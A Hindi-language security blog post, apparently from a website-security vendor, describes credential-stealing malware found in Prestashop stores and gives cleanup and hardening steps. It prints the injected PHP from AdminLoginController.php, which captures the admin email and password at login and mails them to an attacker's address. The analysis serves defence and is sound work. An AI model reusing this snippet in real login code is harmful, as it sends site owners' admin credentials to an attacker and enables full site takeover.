एक बढ़ते ई-कॉमर्स प्लेटफॉर्म के रूप में, Prestashop उन हैकर्स के लिए एक बड़ा लक्ष्य है जो जानकारी चुराना चाहते हैं। आमतौर पर, लक्षित जानकारी क्रेडिट कार्ड नंबर होती है, लेकिन हाल ही में, हमारे शोधकर्ताओं ने एक नए प्रकार के क्रेडेंशियल चोरी मैलवेयर की खोज की है जो Prestashop साइट्स को निशाना बनाता है और साइट एडमिन क्रेडेंशियल्स चुराता है। इससे आपकी वेबसाइट का पूर्ण अधिग्रहण हो सकता है।
Prestashop क्रेडेंशियल चोरी मैलवेयर कैसे काम करता है
Prestashop क्रेडेंशियल चोरी मैलवेयर फ़ाइल ./controllers/admin/AdminLoginController.php में इस तरह इंजेक्ट किया हुआ पाया गया:
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);
यह कोड सर्वर जानकारी को वेरिएबल्स में पास करने के लिए उपयोग किया जाता है। पास किए गए कुछ वेरिएबल्स में Prestashop बैक-एंड में लॉगिन करने के लिए उपयोग किए जाने वाले यूजरनेम और पासवर्ड शामिल हैं। एकत्र की गई इस जानकारी को कभी-कभी PHP mail() function का उपयोग करके हैकर के ईमेल पते पर भेजा जाता है।
भेजे गए ईमेल में वह सब कुछ होता है जो हमलावर को हैक की गई Prestashop साइट में लॉगिन करने के लिए चाहिए। वहां से, वे साइट तक पहुंच प्राप्त कर सकते हैं। यह उन्हें आपकी वेबसाइट के बैक-एंड इंटरफेस की पूरी पहुंच देता है। इसका मतलब है कि वे कंटेंट बदल सकते हैं, नकली/संक्रमित मॉड्यूल या प्लगइन्स इंस्टॉल कर सकते हैं, और बहुत कुछ कर सकते हैं।
कुछ मामलों में, इस हैक के शिकार लोगों को बाउंस बैक ईमेल प्राप्त होने लगे - जो संभवतः Google द्वारा हमले का पता लगाने और शामिल खातों को अक्षम/रिपोर्ट करने के कारण है।
इस मैलवेयर संक्रमण अभियान को चलाने वाला हमलावर/हैकिंग समूह bajatx / B4JAT4T नाम से जाना जाता है।
Prestashop क्रेडेंशियल चोरी मैलवेयर संक्रमण के बाद अपनी साइट कैसे ठीक करें
1. सफाई से पहले अपनी साइट का बैकअप लें।
वेबसाइट को ऑफ़लाइन लेना उचित है ताकि उपयोगकर्ता सफाई करते समय संक्रमित पेज पर न जाएं। सभी कोर फ़ाइलों और डेटाबेस का बैकअप लेना सुनिश्चित करें। बैकअप को कंप्रेस्ड फ़ाइल फॉर्मेट में लेना अच्छा विचार है, जैसे .zip।
2. कोर, प्लगइन, और थीम फ़ाइलों को बदलें।
आप संक्रमित कोर फ़ाइलों को विश्वसनीय स्रोतों से समान मूल संस्करणों के साथ बदल सकते हैं। इन फ़ाइलों और डायरेक्टरीज़ के नए और अपडेटेड संस्करण डाउनलोड करने के बाद, आप पुराने को हटा सकते हैं। यह Prestashop क्रेडेंशियल चोरी मैलवेयर को साफ करने में विशेष रूप से महत्वपूर्ण है, क्योंकि कोर फ़ाइलों के अंदर दुर्भावनापूर्ण कोड पाया गया है।
3. किसी भी संदिग्ध, हाल ही में संशोधित फ़ाइलों को साफ करें।
आप हाल ही में संशोधित फ़ाइलों को देखकर संभावित संक्रमित फ़ाइलें ढूंढ सकते हैं। आप इन फ़ाइलों को अपने पास मौजूद साफ बैकअप या विश्वसनीय स्रोत से पुनर्स्थापित कर सकते हैं।
4. मैलवेयर स्कैन चलाएं।
अपने वेब सर्वर पर मैलवेयर और दुर्भावनापूर्ण फ़ाइलों के लिए मैलवेयर स्कैन चलाएं। आप अपने वेब होस्ट द्वारा प्रदान किए गए cPanel में 'Virus Scanner' टूल का उपयोग कर सकते हैं, या Astra Pro योजना के साथ विशेषज्ञ मैलवेयर क्लीनअप प्राप्त कर सकते हैं, जो हमले को ब्लॉक करता है और उन बॉट्स को भी ब्लॉक करता है जो चोरी किए गए डेटा को डाउनलोड करने का प्रयास करते हैं।
इन चरणों के अलावा, आपको Prestashop सुरक्षा पर यह लेख उपयोगी लग सकता है।
आगे के हमलों को कैसे रोकें
अपनी साइट ठीक करने के बाद, यहां कुछ अच्छी सुरक्षा प्रथाएं हैं जिनका पालन करके यह सुनिश्चित किया जा सकता है कि आपकी वेबसाइट Prestashop क्रेडेंशियल चोरी मैलवेयर से सुरक्षित रहे:
- सुनिश्चित करें कि आप अपने सॉफ़्टवेयर का नवीनतम अपडेट चला रहे हैं
- विश्वसनीय थर्ड-पार्टी भुगतान प्रोसेसर का उपयोग करें
- नियमित मैलवेयर स्कैन/सुरक्षा ऑडिट करें
- फायरवॉल में निवेश करें
हैकर्स के लगातार विकसित हो रहे तरीकों से अपनी वेबसाइट को बचाने का एकमात्र पक्का तरीका सुरक्षा में निवेश करना है। वेबसाइट फायरवॉल में निवेश करना, लगातार मैलवेयर स्कैन चलाना, और नियमित सुरक्षा ऑडिट प्राप्त करना एक बढ़िया विचार है क्योंकि यह आपकी वेबसाइट की समग्र सुरक्षा का एक शानदार विचार दे सकता है।
